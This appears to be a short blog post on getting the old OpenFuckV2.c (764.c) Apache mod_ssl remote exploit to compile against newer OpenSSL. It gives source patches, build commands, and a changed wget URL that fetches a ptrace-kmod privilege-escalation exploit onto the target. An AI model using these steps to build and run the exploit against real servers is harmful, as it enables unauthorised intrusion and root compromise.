How to compile OpenFuckV2.c

i3umi3iei3ii
Apr 4, 2018 · 2 min read

Step 1 Add these lines at the beginning of code

#include <openssl/rc4.h>
#include <openssl/md5.h>

#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16

Step 2 Search for wget and change the url

http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c

to

https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

Step 3 Insert “const”

// unsigned char *p, *end;
const unsigned char *p, *end;

Step 4 Modify these lines

// if (pkey->type != EVP_PKEY_RSA) {
if (EVP_PKEY_get1_RSA(pkey) == NULL) {

//encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);

Step 5 install “libssl-dev”

apt-get install libssl-dev

step 6 compile & enjoy

gcc 764.c -o 764 -lcrypto

Reference

http://hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade